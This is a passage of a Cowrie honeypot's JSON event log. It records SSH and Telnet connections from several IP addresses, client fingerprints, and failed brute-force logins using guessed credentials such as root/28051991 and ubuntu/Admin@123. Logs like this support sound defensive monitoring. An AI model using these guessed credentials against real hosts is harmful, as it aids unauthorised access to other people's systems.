16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:56:04.223817Z","src_ip":"62.133.63.178","session":"c056b4caaf57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.310439586639404,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:56:04.534467Z","src_ip":"135.148.14.151","session":"5b4d97f7bc7d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiopqwe","message":"login attempt [root/qwertyuiopqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:56:04.606284Z","src_ip":"62.133.63.178","session":"c056b4caaf57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:56:05.738462Z","src_ip":"62.133.63.178","session":"c056b4caaf57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39300,"dst_ip":"159.203.135.109","dst_port":23,"session":"141f23b43f7d","protocol":"telnet","message":"New connection: 135.148.14.151:39300 (159.203.135.109:23) [session: 141f23b43f7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:56:07.612769Z"}
{"eventid":"cowrie.session.closed","duration":0.005582332611083984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:56:07.618210Z","src_ip":"135.148.14.151","session":"141f23b43f7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.179205656051636,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:56:09.876598Z","src_ip":"135.148.14.151","session":"6460c3a007d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.97996783256531,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:56:11.519153Z","src_ip":"135.148.14.151","session":"87814bb09c33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.62246632575989,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:56:13.578493Z","src_ip":"135.148.14.151","session":"ce38fb8f0daf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58370,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c0710c5fcba","protocol":"telnet","message":"New connection: 135.148.14.151:58370 (159.203.135.109:23) [session: 4c0710c5fcba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:56:15.193885Z"}
{"eventid":"cowrie.session.closed","duration":36.10110282897949,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:56:22.363425Z","src_ip":"135.148.14.151","session":"88d0f068e4ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.12822079658508,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:56:49.321989Z","src_ip":"135.148.14.151","session":"4c0710c5fcba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48684,"dst_ip":"159.203.135.109","dst_port":23,"session":"85bae8678503","protocol":"telnet","message":"New connection: 135.148.14.151:48684 (159.203.135.109:23) [session: 85bae8678503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:56:54.623316Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51488,"dst_ip":"159.203.135.109","dst_port":23,"session":"7900c73ba28b","protocol":"telnet","message":"New connection: 135.148.14.151:51488 (159.203.135.109:23) [session: 7900c73ba28b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:57:00.679682Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":56976,"dst_ip":"159.203.135.109","dst_port":22,"session":"624d3a77daf1","protocol":"ssh","message":"New connection: 103.82.20.28:56976 (159.203.135.109:22) [session: 624d3a77daf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:57:19.026537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:57:19.031588Z","src_ip":"103.82.20.28","session":"624d3a77daf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:57:19.316490Z","src_ip":"103.82.20.28","session":"624d3a77daf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"28051991","message":"login attempt [root/28051991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:57:20.171376Z","src_ip":"103.82.20.28","session":"624d3a77daf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:57:21.459653Z","src_ip":"103.82.20.28","session":"624d3a77daf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.769338607788086,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:57:31.392535Z","src_ip":"135.148.14.151","session":"85bae8678503","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.67385292053223,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:57:36.353246Z","src_ip":"135.148.14.151","session":"7900c73ba28b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40074,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a94731f4563","protocol":"telnet","message":"New connection: 135.148.14.151:40074 (159.203.135.109:23) [session: 0a94731f4563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:57:37.044430Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43866,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c812aaceb1c","protocol":"telnet","message":"New connection: 135.148.14.151:43866 (159.203.135.109:23) [session: 4c812aaceb1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:57:44.237925Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47326,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8a2db083e9f","protocol":"telnet","message":"New connection: 135.148.14.151:47326 (159.203.135.109:23) [session: c8a2db083e9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:57:51.572661Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47726,"dst_ip":"159.203.135.109","dst_port":23,"session":"d649f3d1272b","protocol":"telnet","message":"New connection: 135.148.14.151:47726 (159.203.135.109:23) [session: d649f3d1272b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:57:52.596374Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47262,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4517a8967ec","protocol":"telnet","message":"New connection: 135.148.14.151:47262 (159.203.135.109:23) [session: e4517a8967ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:57:54.448332Z"}
{"eventid":"cowrie.session.closed","duration":120.00637912750244,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:57:59.681556Z","src_ip":"81.84.21.115","session":"ba9fafb1bf9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51308,"dst_ip":"159.203.135.109","dst_port":23,"session":"a400161f8e8e","protocol":"telnet","message":"New connection: 135.148.14.151:51308 (159.203.135.109:23) [session: a400161f8e8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:00.846761Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.84.21.115","src_port":54024,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc11bcbed4db","protocol":"telnet","message":"New connection: 81.84.21.115:54024 (10.17.0.5:23) [session: cc11bcbed4db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:02.457067Z"}
{"eventid":"cowrie.session.closed","duration":2.8363542556762695,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:05.293295Z","src_ip":"81.84.21.115","session":"cc11bcbed4db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.21453523635864,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:14.258813Z","src_ip":"135.148.14.151","session":"0a94731f4563","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.66960525512695,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:19.907407Z","src_ip":"135.148.14.151","session":"4c812aaceb1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":59546,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd168dbc16f1","protocol":"ssh","message":"New connection: 103.27.238.120:59546 (159.203.135.109:22) [session: fd168dbc16f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:21.007977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:21.013163Z","src_ip":"103.27.238.120","session":"fd168dbc16f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":45282,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ec568e5914c","protocol":"ssh","message":"New connection: 103.27.238.116:45282 (159.203.135.109:22) [session: 0ec568e5914c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:21.038890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:21.044270Z","src_ip":"103.27.238.116","session":"0ec568e5914c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:21.268411Z","src_ip":"103.27.238.120","session":"fd168dbc16f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:21.320648Z","src_ip":"103.27.238.116","session":"0ec568e5914c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"number1","message":"login attempt [root/number1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:22.032893Z","src_ip":"103.27.238.120","session":"fd168dbc16f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shumaher","message":"login attempt [root/shumaher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:22.149714Z","src_ip":"103.27.238.116","session":"0ec568e5914c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33290,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4e81b8fdd0b","protocol":"telnet","message":"New connection: 135.148.14.151:33290 (159.203.135.109:23) [session: c4e81b8fdd0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:22.525748Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:23.290028Z","src_ip":"103.27.238.120","session":"fd168dbc16f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:23.426515Z","src_ip":"103.27.238.116","session":"0ec568e5914c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.49395203590393,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:27.066452Z","src_ip":"135.148.14.151","session":"c8a2db083e9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.28200364112854,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:28.730231Z","src_ip":"135.148.14.151","session":"e4517a8967ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.72380328178406,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:29.320050Z","src_ip":"135.148.14.151","session":"d649f3d1272b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37310,"dst_ip":"159.203.135.109","dst_port":23,"session":"a54ccb9da78b","protocol":"telnet","message":"New connection: 135.148.14.151:37310 (159.203.135.109:23) [session: a54ccb9da78b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:38.117901Z"}
{"eventid":"cowrie.session.closed","duration":37.57593131065369,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:38.422575Z","src_ip":"135.148.14.151","session":"a400161f8e8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44236,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e1cd7083691","protocol":"telnet","message":"New connection: 135.148.14.151:44236 (159.203.135.109:23) [session: 1e1cd7083691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:53.086143Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.78.143.196","src_port":33232,"dst_ip":"10.17.0.5","dst_port":22,"session":"270b01264ef6","protocol":"ssh","message":"New connection: 128.78.143.196:33232 (10.17.0.5:22) [session: 270b01264ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:53.301652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:53.309802Z","src_ip":"128.78.143.196","session":"270b01264ef6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:53.985610Z","src_ip":"128.78.143.196","session":"270b01264ef6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.94159245491028,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:56.467227Z","src_ip":"135.148.14.151","session":"c4e81b8fdd0b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Admin@123","message":"login attempt [ubuntu/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:58:58.505597Z","src_ip":"128.78.143.196","session":"270b01264ef6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:59:03.012311Z","src_ip":"128.78.143.196","session":"270b01264ef6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":43704,"dst_ip":"10.17.0.5","dst_port":22,"session":"23b322362a02","protocol":"ssh","message":"New connection: 185.236.22.41:43704 (10.17.0.5:22) [session: 23b322362a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:59:06.323878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:59:06.329047Z","src_ip":"185.236.22.41","session":"23b322362a02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:59:06.440777Z","src_ip":"185.236.22.41","session":"23b322362a02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dfymrf","message":"login attempt [root/dfymrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:59:06.788549Z","src_ip":"185.236.22.41","session":"23b322362a02","protocol":"ssh"}
